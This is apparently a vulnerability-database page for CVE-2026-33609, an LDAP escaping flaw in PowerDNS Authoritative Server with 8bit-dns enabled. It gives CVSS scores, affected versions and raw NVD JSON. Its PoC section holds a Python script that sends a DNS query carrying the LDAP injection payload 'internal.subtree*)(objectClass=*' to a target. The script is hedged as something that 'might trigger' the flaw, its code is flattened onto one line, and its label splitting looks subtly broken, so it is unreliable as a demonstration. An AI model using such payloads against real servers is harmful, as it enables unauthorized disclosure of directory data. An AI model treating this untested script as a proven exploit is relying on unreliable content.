Security Vulnerability Report
中文
CVE-2026-33609 CVSS 5.3 MEDIUM

CVE-2026-33609

Published: 2026-04-22 14:16:55
Last Modified: 2026-04-24 18:52:54

Description

Incomplete escaping of LDAP queries when running with 8bit-dns enabled allows users to perform queries of internal domain subtrees.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
PowerDNS Authoritative Server (配置启用 8bit-dns 的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Proof of Concept for CVE-2026-33609 # This script demonstrates how to craft a DNS query that might trigger LDAP injection # when 8bit-dns is enabled and escaping is incomplete. def craft_dns_query(domain): # Standard DNS Header: ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0) # Question section # Encoding the domain name query_body = b'' for label in domain.split('.'): query_body += bytes([len(label)]) + label.encode('utf-8') query_body += b'\x00' # End of name # Type A (1), Class IN (1) query_body += struct.pack('!HH', 1, 1) return header + query_body def send_exploit(target_ip, target_port=53): # Attempting to inject LDAP filter logic to query internal subtree # In a real scenario, the payload would be crafted based on the specific LDAP backend schema # Example payload trying to match any object in an internal subtree payload = "internal.subtree*)(objectClass=*" packet = craft_dns_query(payload) try: print(f"[*] Sending crafted DNS query to {target_ip}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) # Try to receive a response response, _ = sock.recvfrom(1024) print(f"[+] Received response (length: {len(response)} bytes)") # Analyze response to check if information disclosure occurred print("[!] Check response data for leaked LDAP structure or values.") except socket.timeout: print("[-] Request timed out.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Note: This is for educational purposes only. # send_exploit("192.168.1.10")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33609", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.770", "lastModified": "2026-04-24T18:52:54.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incomplete escaping of LDAP queries when running with 8bit-dns enabled allows users to perform queries of internal domain subtrees."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-90"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.14", "matchCriteriaId": "08464BC2-733F-4260-878D-DE05919A7A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.4", "matchCriteriaId": "A26C526E-15DC-41BE-9B66-FC6A63679562"}]}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-05.html", "source": "[email protected]", "tags": ["Broken Link", "Vendor Advisory"]}]}}